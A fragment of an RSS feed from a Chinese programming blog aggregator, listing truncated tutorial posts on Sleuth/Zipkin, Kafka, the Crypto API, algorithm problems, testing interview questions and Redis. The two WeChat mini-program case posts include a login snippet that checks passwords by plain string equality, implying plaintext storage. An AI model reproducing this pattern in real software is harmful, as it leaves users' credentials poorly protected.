的滑动窗口从数组的最左侧移动到数组的最右侧。你只可以看到在滑动窗口内的 k 个数字。滑动窗口每次只向右移动一位。</description>
    </item>
    <item>
      <title>第十二章 Sleuth分布式请求链路跟踪</title>
      <link>https://bchobby.github.io/posts/a57e8c0e19f2c6f30fb08de9fa113be3/</link>
      <pubDate>Thu, 28 Dec 2023 22:36:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a57e8c0e19f2c6f30fb08de9fa113be3/</guid>
      <description>Sleuth分布式请求链路跟踪 gitee:springcloud_study: springcloud：服务集群、注册中心、配置中心（热更新）、服务网关（校验、路由、负载均衡）、分布式缓存、分布式搜索、消息队列（异步通信）、数据库集群、分布式日志、系统监控链路追踪。&#xA;1. 概述 问题：在微服务框架中，一个由客户端发起的请求在后端系统中会经过多个不同的的服务节点调用来协同产生最后的请求结果，每一个前段请求都会形成一条复杂的分布式服务调用链路，链路中的任何一环出现高延时或错误都会引起整个请求最后的失败。&#xA;是什么：Spring Cloud Sleuth提供了一套完整的服务跟踪的解决方案在分布式系统中提供追踪解决方案并且兼容支持了zipkin。 官网：https://github.com/spring-cloud/spring-cloud-sleuth&#xA;2. 搭建链路监控步骤 zipkin搭建：SpringCloud从F版起已不需要自己构建ZipkinServer了，只需调用jar包即可。网址：Central Repository: io/zipkin&#xA;下载zipkin.jar，并启动&#xA;请求链路：表示一请求链路，一条链路通过Trace ld唯一标识，Span标识发起的请求信息，各span通过parent id 关联起来。 Trace:类似于树结构的Span集合，表示一条调用链路，存在唯一标识。 span:表示调用链路来源，通俗的理解span就是一次请求信息&#xA;修改cloud-provider-payment8001和cloud-consumer-order80&#xA;pom文件：&#xA;&amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.cloud&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-cloud-starter-zipkin&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; application.yaml：&#xA;spring: application: #应用名称，也是注册进入注册中的服务名称 name: cloud-payment-service zipkin: base-url: http://localhost:9411 sleuth: sampler: #采样/洁介于0到1之间，1则表示全部采货 probability: 1 8001controller修改：&#xA;@GetMapping(&#34;/payment/zipkin&#34;) public String paymentZipkin(){ return &#34;hi,zipkin&#34;; } 80controller修改：&#xA;@GetMapping(&#34;/consumer/payment/zipkin&#34;) public String paymentZipkin(){ String string=restTemplate.getForObject(&#34;http://localhost:8001&#34;+&#34;/payment/zipkin/&#34;,String.class); return string; } 测试：</description>
    </item>
    <item>
      <title>【头歌实训】kafka-入门篇</title>
      <link>https://bchobby.github.io/posts/f3179ab5d9260fe43c2294c6dc27d8ba/</link>
      <pubDate>Thu, 28 Dec 2023 22:33:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f3179ab5d9260fe43c2294c6dc27d8ba/</guid>
      <description>文章目录 第1关：kafka - 初体验任务描述相关知识Kafka 简述Kafka 应用场景Kafka 架构组件kafka 常用命令 编程要求测试说明答案代码 第2关：生产者 （Producer ） - 简单模式任务描述相关知识Producer 简单模式Producer 的开发步骤Kafka 常用配置参数 编程要求测试说明答案代码 第3关：消费者（ Consumer）- 自动提交偏移量任务描述相关知识Kafka 消费者开发步骤自动提交偏移量的优劣 编程要求测试说明答案代码 第4关：消费者（ Consumer ）- 手动提交偏移量任务描述相关知识Kafka 两种手动提交方式 编程要求测试说明答案代码 第1关：kafka - 初体验 任务描述 本关任务：使用 Kafka 命令创建一个副本数量为1、分区数量为3的 Topic 。&#xA;相关知识 为了完成本关任务，你需要掌握：1.如何使用 Kafka 的常用命令。&#xA;课程视频《Kafka简介》&#xA;Kafka 简述 类 JMS 消息队列，结合 JMS 中的两种模式，可以有多个消费者主动拉取数据，在 JMS 中只有点对点模式才有消费者主动拉取数据。&#xA;Kafka 是一个生产-消费模型。&#xA;Producer ：消息生产者，就是向 Kafka Broker 发消息的客户端。&#xA;Consumer ：消息消费者，向 Kafka Broker 取消息的客户端。&#xA;Topic ：我们可以理解为一个队列。&#xA;Consumer Group （CG）：这是 Kafka 用来实现一个 Topic 消息的广播（发给所有的 Consumer ）和单播（发给任意一个 Consumer ）的手段。一个 Topic 可以有多个CG。Topic 的消息会复制（不是真的复制，是概念上的）到所有的 CG ，但每个 Partion 只会把消息发给该 CG 中的一个 Consumer 。如果需要实现广播，只要每个 Consumer 有一个独立的 CG 就可以了。要实现单播只要所有的 Consumer 在同一个 CG。用CG 还可以将 Consumer 进行自由的分组而不需要多次发送消息到不同的 Topic。</description>
    </item>
    <item>
      <title>Crypto API - 9.1 编程接口-块密码算法定义</title>
      <link>https://bchobby.github.io/posts/8eb0969f0c314e2c5a5f508ee2f94067/</link>
      <pubDate>Thu, 28 Dec 2023 22:28:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8eb0969f0c314e2c5a5f508ee2f94067/</guid>
      <description>编程接口-块密码算法定义 这些数据结构定义了模块化加密算法实现，通过 crypto_register_alg（） 和 crypto_unregister_alg（） 进行管理。&#xA;struct cipher_alg single-block symmetric ciphers definition（单块对称密码定义） 定义：&#xA;struct cipher_alg { unsigned int cia_min_keysize; unsigned int cia_max_keysize; int (*cia_setkey)(struct crypto_tfm *tfm, const u8 *key, unsigned int keylen); void (*cia_encrypt)(struct crypto_tfm *tfm, u8 *dst, const u8 *src); void (*cia_decrypt)(struct crypto_tfm *tfm, u8 *dst, const u8 *src); }; 成员&#xA;cia_min_keysize&#xA;变换所支持的最小密钥长度。这是此变换算法支持的最小密钥长度。此值必须设置为预定义值之一，因为它不是特定于硬件的。此字段的可能取值可以通过 git grep &#34;_MIN_KEY_SIZE&#34; include/crypto/ 找到。 cia_max_keysize&#xA;变换所支持的最大密钥长度。这是此变换算法支持的最大密钥长度。此值必须设置为预定义值之一，因为它不是特定于硬件的。此字段的可能取值可以通过 git grep &#34;_MAX_KEY_SIZE&#34; include/crypto/ 找到。 cia_setkey&#xA;为变换设置密钥。此函数用于将提供的密钥编程到硬件中，或将密钥存储在变换上下文中以供稍后编程。请注意，此函数确实会修改变换上下文。在变换对象存在期间，可以多次调用此函数，因此必须确保密钥已正确地重新编程到硬件中。此函数还负责检查密钥长度的有效性。 cia_encrypt</description>
    </item>
    <item>
      <title>【Stable diffusion inpaiting】训练自己数据集</title>
      <link>https://bchobby.github.io/posts/f4f2dc80944bd67f6a309b6fd3cad89b/</link>
      <pubDate>Thu, 28 Dec 2023 22:13:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f4f2dc80944bd67f6a309b6fd3cad89b/</guid>
      <description>https://github.com/advimman/lama/tree/7dee0e4a3cf5f73f86a820674bf471454f52b74f&#xA;prepare your data: 1) Create masks named as `[images_name]_maskXXX[image_suffix]`, put images and masks in the same folder. You can use the script for random masks generation. Check the format of the files: image1_mask001.png image1.png image2_mask001.png image2.png Specify image_suffix, e.g. .png or .jpg or _input.jpg in configs/prediction/default.yaml. https://github.com/advimman/lama/blob/main/bin/gen_mask_dataset.py&#xA;如果图像不是正方形，使用crop或者transform变换&#xA;import os import argparse from PIL import Image def crop_images(input_folder, output_folder, size): # 遍历输入文件夹中的所有文件 for filename in os.listdir(input_folder): if filename.endswith(&#34;.png&#34;): # 构建输入和输出文件的路径 input_path = os.</description>
    </item>
    <item>
      <title>P2440 木材加工</title>
      <link>https://bchobby.github.io/posts/c1e993c518b506978f732b7d6d152f79/</link>
      <pubDate>Thu, 28 Dec 2023 21:53:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c1e993c518b506978f732b7d6d152f79/</guid>
      <description>P2440 木材加工 P2440 木材加工&#xA;题意 木材厂有 n 根原木，现在想把这些木头切割成 k 段长度均为 l 的小段木头（木头有可能有剩余），希望得到的小段木头越长越好，请求出 l 的最大值，如果连 1cm 长的小段都切不出来，输出 0。&#xA;思路 首先要定义一个函数，去查找答案。在主函数中应用函数，最后输出答案。 坑点 要想到用二分。 算法一：二分答案 时间复杂度 On&#xA;实现步骤 首先要定义一个函数，去查找答案。在主函数中应用函数，最后输出答案。在主函数中进行sort排序，为避免小错误。 代码 #include&amp;lt;iostream&amp;gt; #include&amp;lt;stdio.h&amp;gt; #include&amp;lt;algorithm&amp;gt; using namespace std; int n,k; int a[1000005]; int find(int l,int r) { while(l&amp;lt;=r) { int mid=(l+r)/2; int ans=0;//n/l for(int i=0;i&amp;lt;n;i++) { ans+=a[i]/mid; } if(ans&amp;gt;=k) { l=mid+1; } else { r=mid-1; } } return r; } int main() { cin&amp;gt;&amp;gt;n&amp;gt;&amp;gt;k; for(int i=0;i&amp;lt;n;i++) { cin&amp;gt;&amp;gt;a[i]; } sort(a,a+n); int l=1,r=a[n-1]; int x=find(l,r); cout&amp;lt;&amp;lt;x; return 0; } 总结 要掌握二分答案。</description>
    </item>
    <item>
      <title>出现频率高达70%软件测试面试题及答案！——看完面试官：是你面试我还是我面试你啊！</title>
      <link>https://bchobby.github.io/posts/1fde6c74b39fd7d8e5bad12b4fd8c10c/</link>
      <pubDate>Thu, 28 Dec 2023 21:21:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1fde6c74b39fd7d8e5bad12b4fd8c10c/</guid>
      <description>【纯干货！！！】花费了整整3天，整理出来的全网最实用软件测试面试大全，一共30道题目+答案的纯干货，希望大家多多支持，建议 点赞！！收藏！！长文警告，全文共12000+字，涵盖软件测试面试可能遇到的所有问题，希望对大家有帮助，不过大家最好不要硬背，实战大于理论。祝大家面试顺利！&#xA;51.一个测试工程师应具备那些素质？&#xA;1、责任心2、沟通能力3、团队合作精神4、耐心、细心、信心5、时时保持怀疑态度，并且有缺陷预防的意识6、具备一定的编程经验&#xA;52、什么是安全性测试&#xA;Web应用系统的安全性测试区域主要有：&#xA;(1)现在的Web应用系统基本采用先注册，后登陆的方式。因此，必须测试有效和无效的用户名和密码，要注意到是否大小写敏感，可以试多少次的限制，是否可以不登陆而直接浏览某个页面等。&#xA;(2)Web应用系统是否有超时的限制，也就是说，用户登陆后在一定时间内(例如15分钟)没有点击任何页面，是否需要重新登陆才能正常使用。&#xA;(3)为了保证Web应用系统的安全性，日志文件是至关重要的。需要测试相关信息是否写进了日志文件、是否可追踪。&#xA;(4)当使用了安全套接字时，还要测试加密是否正确，检查信息的完整性。&#xA;(5)服务器端的脚本常常构成安全漏洞，这些漏洞又常常被黑客利用。所以，还要测试没有经过授权，就不能在服务器端放置和编辑脚本的问题。&#xA;53：你所了解的的软件测试类型都有哪些，简单介绍一下。&#xA;按测试策略分类：1、静态与动态测试2、黑盒与白盒测试 3、手工和自动测试 4、冒烟测试 5、回归测试；&#xA;按测试阶段分类：单元测试、集成测试、系统测试；&#xA;其他常见测试方法：1、功能测试 2、性能测试 3、压力测试 4、负载测试 5、易用性测试 6、安装测试 7、界面测试 8、配置测试 9、文档测试 10、兼容性测试 11、安全性测试 12、恢复测试&#xA;54：你认为做好测试计划工作的关键是什么？&#xA;明确测试的目标，增强测试计划的实用性&#xA;编写软件测试计划得重要目的就是使测试过程能够发现更多的软件缺陷，因此软件测试计划的价值取决于它对帮助管理测试项目，并且找出软件潜在的缺陷。因此，软件测试计划中的测试范围必须高度覆盖功能需求，测试方法必须切实可行，测试工具并且具有较高的实用性，便于使用，生成的测试结果直观、准确&#xA;**&#xA;坚持“5W”规则，明确内容与过程&#xA;“5W”规则指的是“What（做什么）”、“Why（为什么做）”、“When（何时做）”、“Where（在哪里）”、“How（如何做）”。利用“5W”规则创建软件测试计划，可以帮助测试团队理解测试的目的（Why），明确测试的范围和内容（What），确定测试的开始和结束日期（When），指出测试的方法和工具（How），给出测试文档和软件的存放位置（Where）。&#xA;采用评审和更新机制，保证测试计划满足实际需求&#xA;测试计划写作完成后，如果没有经过评审，直接发送给测试团队，测试计划内容的可能不准确或遗漏测试内容，或者软件需求变更引起测试范围的增减，而测试计划的内容没有及时更新，误导测试执行人员。&#xA;分别创建测试计划与测试详细规格、测试用例&#xA;应把详细的测试技术指标包含到独立创建的测试详细规格文档，把用于指导测试小组执行测试过程的测试用例放到独立创建的测试用例文档或测试用例管理数据库中。测试计划和测试详细规格、测试用例之间是战略和战术的关系，测试计划主要从宏观上规划测试活动的范围、方法和资源配置，而测试详细规格、测试用例是完成测试任务的具体战术。&#xA;55：您认为做好测试用例设计工作的关键是什么？&#xA;白盒测试用例设计的关键是以较少的用例覆盖尽可能多的内部程序逻辑结果&#xA;黑盒法用例设计的关键同样也是以较少的用例覆盖模块输出和输入接口。不可能做到完全测试，以最少的用例在合理的时间内发现最多的问题&#xA;56：你的测试职业发展目标是什么？&#xA;测试经验越多，测试能力越高。所以我的职业发展是需要时间累积的，一步步向着高级测试工程师奔去。而且我也有初步的职业规划，前3年累积测试经验，不断的更新自己改正自己，做好测试任务。&#xA;57：测试结束的标准是什么？&#xA;从微观上来说，在测试计划中定义，比如系统在一定性能下平稳运行72小时，目前Bug Tracking System中，本版本中没有一般严重的BUG，普通BUG的数量在3以下，BUG修复率90%以上等等参数，然后由开发经理，测试经理，项目经理共同签字认同版本Release。&#xA;如果说宏观的，则是当这个软件彻底的消失以后，测试就结束了。&#xA;58、怎么理解客户端兼容性测试&#xA;1、平台测试&#xA;市场上有很多不同的操作系统类型，最常见的有Windows、Unix、Macintosh、Linux等。Web应用系统的最终用户究竟使用哪一种操作系统，取决于用户系统的配置。这样，就可能会发生兼容性问题，同一个应用可能在某些操作系统下能正常运行，但在另外的操作系统下可能会运行失败。 因此，在Web系统发布之前，需要在各种操作系统下对Web系统进行兼容性测试。&#xA;2、浏览器测试&#xA;浏览器是Web客户端最核心的构件，来自不同厂商的浏览器对Java，、JavaScript、 ActiveX、 plug-ins或不同的HTML规格有不同的支持。例如，ActiveX是Microsoft的产品，是为Internet Explorer而设计的，JavaScript是Netscape的产品，Java是Sun的产品等等。另外，框架和层次结构风格在不同的浏览器中也有不同的显示，甚至根本不显示。不同的浏览器对安全性和Java的设置也不一样。 测试浏览器兼容性的一个方法是创建一个兼容性矩阵。在这个矩阵中，测试不同厂商、不同版本的浏览器对某些构件和设置的适应性。&#xA;59、一套完整的测试应该由哪些阶段组成？&#xA;可行性分析、需求分析、概要设计、详细设计、编码、单元测试、集成测试、系统测试、验收测试&#xA;如何提交高质量的缺陷报告单？&#xA;1、 缺陷的概要描述要清晰准确，要使相关开发负责人员能够一目了然问题是什么。&#xA;2、 一个完整的缺陷报告单，必须包含其必要的元素信息，例如：概要描述，缺陷发现人，测试环境，浏览器，缺陷重现步骤，严重等级，指派人，所属功能模块等等，必要元素信息必须描述全面清楚。&#xA;3、 缺陷的重现步骤必须描写清晰明了，使相关开发负责人能够根据重现步骤准确的重现所提交的缺陷，使其定位缺陷的原因所在。&#xA;4、测试数据，测试的数据作为重现缺陷的一个重要元素信息，一定要将测试时所使用的信息给描写清楚准确。让开发人员根据测试所提供的测试数据准确重现缺陷。</description>
    </item>
    <item>
      <title>P8647 [蓝桥杯 2017 省 AB] 分巧克力</title>
      <link>https://bchobby.github.io/posts/97b41f5c75cb4f2f20722bd6aae297f4/</link>
      <pubDate>Thu, 28 Dec 2023 21:19:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/97b41f5c75cb4f2f20722bd6aae297f4/</guid>
      <description>P8647 [蓝桥杯 2017 省 AB] 分巧克力 [P8647 [蓝桥杯 2017 省 AB] 分巧克力](https://www.luogu.com.cn/problem/P8647?contestId=150480&#xA;P8647 [蓝桥杯 2017 省 AB] 分巧克力)&#xA;题意 给n个边长为不等的巧克力，要分给三个小盆友，这些巧克力必须是正方形且大小必须相同，求最后要分得几块。&#xA;思路 根据样例怎么输入输出二分模版套用，然后对每块巧克力进行遍历，计算每块巧克力能分成的块数，并累加到ans中。比较大小，如果ans大于等于k，左边界l更新为mid+1，同时将ans更新为mid，如果ans小于k，说明当前mid值不满足要求，将右边界r更新为mid-1。 坑点 最难的在于怎么计算巧克力的面积，然后二分查找。 二分模版学会套用。 算法一：基础的二分答案 时间复杂度 输出大小: 1.83265209197998 MiB编译时间: 0.59s 实现步骤 首先，输入两个整数n和k，分别代表巧克力的数量和需要分的块数。二分查找对每块巧克力进行遍历，计算每块巧克力能分成的块数，并累加到ans中然后进行判断是否输出。 代码 #include&amp;lt;iostream&amp;gt; using namespace std; int main() { int n,k;//首先，输入两个整数n和k，分别代表巧克力的数量和需要分的块数。 int h[100000]; int w[100000];//两个巧克力的边长 cin&amp;gt;&amp;gt;n&amp;gt;&amp;gt;k; for(int i=0;i&amp;lt;n;i++) cin&amp;gt;&amp;gt;h[i]&amp;gt;&amp;gt;w[i]; //二分查找 int r = 100001;//初始化一个右边界r为100001 int l = 1;//一个左边界l为1 int x = 0;//设定一个答案ans为0。 while(l&amp;lt;=r)//然后进入while循环，当左边界小于等于右边界时，进行二分查找。 { int mid = (l+r)/2;//在每次循环中,会计算中间值mid为(l+r)/2， int ans = 0;//初始化一个计数器ans为0，用来记录巧克力最大能分成几块。 for(int i=0;i&amp;lt;n;i++) ans += (h[i]/mid)*(w[i]/mid); //然后对每块巧克力进行遍历，计算每块巧克力能分成的块数，并累加到ans中。 if(ans&amp;gt;=k)接着，程序会比较ans和k的大小，如果ans大于等于k.</description>
    </item>
    <item>
      <title>案例253:基于微信小程序的懂球短视频管理系统</title>
      <link>https://bchobby.github.io/posts/49d888050d56e3846b71d70bf5d8d092/</link>
      <pubDate>Thu, 28 Dec 2023 21:17:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/49d888050d56e3846b71d70bf5d8d092/</guid>
      <description>文末获取源码&#xA;开发语言：Java&#xA;框架：SpringBoot&#xA;JDK版本：JDK1.8&#xA;数据库：mysql 5.7&#xA;开发软件：eclipse/myeclipse/idea&#xA;Maven包：Maven3.5.4&#xA;小程序框架：uniapp&#xA;小程序开发软件：HBuilder X&#xA;小程序运行软件：微信开发者&#xA;目录 前言 在网络与微信小程序不断地发展，小程序技术不断发展的今天。对于一些球员和足球爱好者来说，需要时时刻刻了解，自己及自己所喜欢的足球赛事的相关信息，比赛赛事的相关事宜，比赛比分的相关信息，各个懂球短视频的小组赛。每场赛事球员发挥情况，比如查询自己所喜欢的足球视频、懂球视频、分享视频等这样才能更好的推动我国的体育事业发展,为此今后有必要对体育的发展做出更加深入的探索和研究。&#xA;对于懂球短视频微信小程序当然也不能排除在外，随着小程序的不断成熟，带动了懂球短视频微信小程序分享网站 ，它彻底改变了过去传统的管理方式，不仅使服务管理难度变低了，还提升了管理的灵活性。这种个性化的平台特别注重交互协调与管理的相互配合，激发了管理人员的创造性与主动性，对懂球懂球短视频小程序而言非常有利。&#xA;本系统采用的数据库是Mysql，小程序端采用微信开发者，结合后台eclipse使用jav语言开发，在设计过程中，充分保证了系统代码的良好可读性、实用性、易扩展性、通用性、便于后期维护、操作方便以及页面简洁等特点。&#xA;系统展示 管理员功能模块（服务端） 管理员要登录懂球懂球短视频后台服务端，需要输入用户名和密码，选择登录角色进行登录，管理员有特权，只需要登录&#xA;管理员功能：管理员登录系统后，查看首页、个人中心、用户管理、上传视频管理、懂球视频管理、分享视频管理、收藏视频管理、系统管理。&#xA;用户管理：在用户管理页面，查看用户账号、用户姓名、用户手机、邮箱、性别、出生年月日、民族、头像等信息可进行修改、删除等操作&#xA;上传视频管理：管理员在上传视频管理页面，查看视频名称、视频封面、上传时间、用户账号、用户姓名等内容，还能对用户上传视频进行审核并回复，以及修改、删除等操作等操作&#xA;懂球视频管理：管理员在懂球视频管理页面，查看视频名称、视频、封面、上传时间、作者等内容，还能对用户评论进行回复，以及修改、删除等操作 分享视频管理：在分享视频管理页面，查看视频名称、用户账号、用户姓名、视频 封面、上传时间、作者等内容进行修改、删除等操作，以及对视频名称进行统计&#xA;系统管理：管理员通过系统管理页面可新增小程序端轮播图上传修改、删除等操作 用户功能模块（微信端） 用户注册，在用户注册页面通过填写用户账号、用户姓名、密码、用户手机、邮箱、性别、出生年月日、民族等信息进行注册操作&#xA;用户登录，用户通过登录页面输入账号和密码，并点击登录进行系统登录操作 用户登陆进入小程序端后，查看底部首页、上传视频、我的等内容， 懂球视频，在懂球视频页面查看视频名称、视频、封面、上传时间、作者等信息，可对视频分享、收藏、点赞、评论等操作 我的，用户进入我的页面查看用户信息、上传视频、懂球视频、分享视频、收藏视频等详细信息 个人中心，用户通过个人信息可修改个人用户账号、用户姓名、密码、用户手机、邮箱、性别、出生年月日、民族、头像等信息，选择保存与退出登录 分享视频管理，在分享视频管理页面用户编辑填写视频名称、用户账号、用户姓名、视频 封面、上传时间、作者进行提交，后台管理员审核用户上传视频 代码实现 登录功能实现代码 @IgnoreAuth @PostMapping(value = &#34;/login&#34;) public R login(String username, String password, String captcha, HttpServletRequest request) { UserEntity user = userService.selectOne(new EntityWrapper&amp;lt;UserEntity&amp;gt;().eq(&#34;username&#34;, username)); if(user==null || !user.getPassword().equals(password)) { return R.error(&#34;账号或密码不正确&#34;); } String token = tokenService.</description>
    </item>
    <item>
      <title>2023-12-23 组合总和 III和电话号码的字母组合</title>
      <link>https://bchobby.github.io/posts/5ae2b1780daa66a837d336501f106860/</link>
      <pubDate>Thu, 28 Dec 2023 21:12:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5ae2b1780daa66a837d336501f106860/</guid>
      <description>216. 组合总和 III 思路：使用回溯三部曲！① 确认需要传入的参数以及返回值 ② 回溯的终止条件 ③ 单层搜索的逻辑！这道题易错点在于单层的逻辑上的遍历起始位置以及回溯回退步骤里要执行的内容！ class Solution: def combinationSum3(self, k: int, n: int) -&amp;gt; List[List[int]]: result = [] self.backtrack(k, n, 1,[], 0, result) return result # 回溯三部曲 # 传入参数以及返回值 def backtrack(self, k, n, start,temp_res,target, result): # 回溯条件 if k == 0: if target == n: # 使用切片 result.append(temp_res[:]) return # 单层搜索过程 for i in range(start, 10): # 剪枝操作 if target &amp;gt; n: continue temp_res.append(i) target += i # self.</description>
    </item>
    <item>
      <title>《Java系列》后端应用开发记录</title>
      <link>https://bchobby.github.io/posts/7d739f62e4c1c1fd28ae08df563c2b96/</link>
      <pubDate>Thu, 28 Dec 2023 21:10:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7d739f62e4c1c1fd28ae08df563c2b96/</guid>
      <description>文章目录 后端应用开发记录一、服务器配置JAVA环境1.下载Java文件2.配置JDK，JRE3.成功测试 二、log4j.properties配置文件三、Intellij IDEA运行报Command line is too long.Shorten command linefor ...1.运行报错2.解决方案2.1 修改workspace.xml文件2.2 修改内容 四、正则表达式1.基础指令2.实例 五、Java正则表达式匹配地址获得省市县**1.正则表达式需求梳理****2.正则表达式匹配地址获得省市县****3.输出结果** 后端应用开发记录 一、服务器配置JAVA环境 1.下载Java文件 https://www.oracle.com/java/technologies/javase/javase-jdk8-downloads.html [root@zxy software]# ls jdk-8u45-linux-x64.tar.gz [root@zxy /]# tar -zxvf /opt/software/jdk-8u45-linux-x64.tar.gz -C /opt/apps [root@zxy apps]# ls jdk1.8.0_45 [root@zxy apps]# cd jdk1.8.0_45/ [root@zxy jdk1.8.0_45]# pwd /opt/apps/jdk1.8.0_45 2.配置JDK，JRE [root@zxy jdk1.8.0_45]# vi /etc/profile export JAVA_HOME=/opt/apps/jdk1.8.0_45 export JRE_HOME=$JAVA_HOME/jre export CLASSPATH=.:$JAVA_HOME/lib:$JRE_HOME/lib export PATH=$JAVA_HOME/bin:$PATH [root@zxy jdk1.8.0_45]# source /etc/profile 3.成功测试 [root@zxy jdk1.8.0_45]# java Usage: java [-options] class [args...] (to execute a class) or java [-options] -jar jarfile [args.</description>
    </item>
    <item>
      <title>[Redis实战]优惠券秒杀</title>
      <link>https://bchobby.github.io/posts/29b244624330eb429309d9f322377fff/</link>
      <pubDate>Thu, 28 Dec 2023 21:09:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/29b244624330eb429309d9f322377fff/</guid>
      <description>三、优惠券秒杀 3.1 全局唯一ID 每个店铺都可以发布优惠券：&#xA;当用户抢购时，就会生成订单并保存到tb_voucher_order这种表中，而订单表如果使用数据库自增ID就存在一些问题：&#xA;id的规律性太明显受单表数据量的限制 场景分析一：如果我们的id具有太明显的规则，用户或者说商业对手很容易猜测出来我们的一些敏感信息，比如商城在一天时间内，卖出了多少单，这明显不合适。&#xA;场景分析二：随着我们商城规模越来越大，mysql的单表的容量不宜超过500W，数据量过大之后，我们要进行拆库拆表，但拆分表之后，他们从逻辑上讲是同一张表，所以他们的id是不能一样的，我们需要保证id的唯一性。&#xA;全局ID生成器，是一种在分布式系统下用来生成全局唯一ID的工具，一般要满足下列特性：&#xA;为了增强ID的安全性，我们可以不直接使用Redis自增的数值，而是拼接一些其它信息：&#xA;ID的组成部分：&#xA;符号位：1bit，永远为0时间戳：31bit，以秒为单位，可以使用69年序列号：32bit，秒内的计数器，支持每秒产生2^32个不同ID 3.2 Redis实现全局唯一ID @Component public class RedisIdWorker { /** * 开始时间戳 */ private static final long BEGIN_TIMESTAMP = 1640995200L; /** * 序列号的位数 */ private static final int COUNT_BITS = 32; private StringRedisTemplate stringRedisTemplate; public RedisIdWorker(StringRedisTemplate stringRedisTemplate) { this.stringRedisTemplate = stringRedisTemplate; } public long nextId(String keyPrefix) { // 1.生成时间戳 LocalDateTime now = LocalDateTime.now(); long nowSecond = now.toEpochSecond(ZoneOffset.UTC); long timestamp = nowSecond - BEGIN_TIMESTAMP; // 2.</description>
    </item>
    <item>
      <title>算法——深度优先搜索（DFS）</title>
      <link>https://bchobby.github.io/posts/c5de38eae6169b6dd67e87ebd51f0eb4/</link>
      <pubDate>Thu, 28 Dec 2023 21:06:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c5de38eae6169b6dd67e87ebd51f0eb4/</guid>
      <description>DFS 思路： 从初始状态出发，下一步可能有多种状态；选其中一个状态深入，到达新的状态；直到无法继续深入，回退到前一步，转移到其他状态，然后再深入下去。最后，遍历完所有可以到达的状态，并得到最终的解。DFS通常使用递归来实现弊端： 递归容易超时大部分DFS搜索的题目都需要用到回溯的思路，其难度主要在于扩展子结点时如何构造停止递归并返回的条件。 递归 递归方法就是直接或间接地调用其自身&#xA;注意：&#xA;避免进入死循环&#xA;容易超时&#xA;递归 &amp;lt;——&amp;gt; 非递归，相互转化&#xA;回溯法 回溯法是一种采用深度优先方式进行搜索的算法，当搜索到某一步时，如果发现原先的选择不是最优选择或者达不到目标，就退回一步重新选择。剪枝函数：（在回溯中用于减少子结点扩展的函数） 1、约束函数：是问题的可行解吗？2、限界函数：确定是问题的可行解，但，是问题的最优解吗？解题步骤： 1、如何递归2、如何剪枝与回溯 一、计算阶乘（递归） 阶乘函数：&#xA;比如&#xA;3！=6 3！= 3*2*1 = 64！=24 4！= 4*3*2*1 = 245！=120 5！= 5*4*3*2*1 = 120 分析：&#xA;package no1_1; import java.util.Scanner; public class Main { public static void main(String[] args) { Scanner input = new Scanner(System.in); int n = input.nextInt(); System.out.println(factorial(n)); } public static int factorial(int n) { if(n==0) { return 1; }else { return n*factorial(n-1); } } } 二、数字游戏（回溯） 给定一个1～N的排列a[i]，每次将相邻两个数相加，得到新序列，再对新序列重复这样的操作，显然每次得到的序列都比上一次的序列长度少1，最终只剩一个数字。</description>
    </item>
    <item>
      <title>案例224:基于微信小程序的餐厅点餐系统</title>
      <link>https://bchobby.github.io/posts/606c75ef2b8815fe03025ab32ed6192f/</link>
      <pubDate>Thu, 28 Dec 2023 20:56:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/606c75ef2b8815fe03025ab32ed6192f/</guid>
      <description>文末获取源码&#xA;开发语言：Java&#xA;框架：SSM&#xA;JDK版本：JDK1.8&#xA;数据库：mysql 5.7&#xA;开发软件：eclipse/myeclipse/idea&#xA;Maven包：Maven3.5.4&#xA;小程序框架：uniapp&#xA;小程序开发软件：HBuilder X&#xA;小程序运行软件：微信开发者&#xA;目录&#xA;前言&#xA;系统展示&#xA;用户信息管理&#xA;菜品信息管理&#xA;菜品类型管理&#xA;公告信息管理&#xA;代码实现&#xA;登录功能实现代码&#xA;注册功能实现代码&#xA;密码重置功能实现代码&#xA;修改信息功能实现代码&#xA;删除信息功能实现代码&#xA;保存信息功能实现代码&#xA;前言 互联网发展至今，无论是其理论还是技术都已经成熟，而且它广泛参与在社会中的方方面面。它让信息都可以通过网络传播，搭配信息管理工具可以很好地为人们提供服务。针对餐厅点餐信息管理混乱，出错率高，信息安全性差，劳动强度大，费时费力等问题，采用餐厅点餐系统可以有效管理，使信息管理能够更加科学和规范。&#xA;餐厅点餐系统使用Java语言进行编码，使用Mysql创建数据表保存本系统产生的数据。系统可以提供信息显示和相应服务，其管理员餐厅点餐管理信息，查看餐厅点餐管理信息，管理餐厅点餐管理信息。&#xA;总之，餐厅点餐系统集中管理信息，有着保密性强，效率高，存储空间大，成本低等诸多优点。它可以降低信息管理成本，实现信息管理计算机化。&#xA;系统展示 用户信息管理 此页面提供给管理员的功能有：用户信息的查询管理，可以删除用户信息、修改用户信息、新增用户信息，还进行了对用户名称的模糊查询的条件&#xA;菜品信息管理 此页面提供给管理员的功能有：查看已发布的菜品信息数据，修改菜品信息，菜品信息作废，即可删除，还进行了对菜品信息名称的模糊查询 菜品信息信息的类型查询等等一些条件。&#xA;菜品类型管理 此页面提供给管理员的功能有：根据菜品类型进行条件查询，还可以对菜品类型进行新增、修改、查询操作等等。&#xA;公告信息管理 此页面提供给管理员的功能有：根据公告信息进行新增、修改、查询操作等等。&#xA;代码实现 登录功能实现代码 @IgnoreAuth @PostMapping(value = &#34;/login&#34;) public R login(String username, String password, String captcha, HttpServletRequest request) { UserEntity user = userService.selectOne(new EntityWrapper&amp;lt;UserEntity&amp;gt;().eq(&#34;username&#34;, username)); if(user==null || !user.getPassword().equals(password)) { return R.error(&#34;账号或密码不正确&#34;); } String token = tokenService.</description>
    </item>
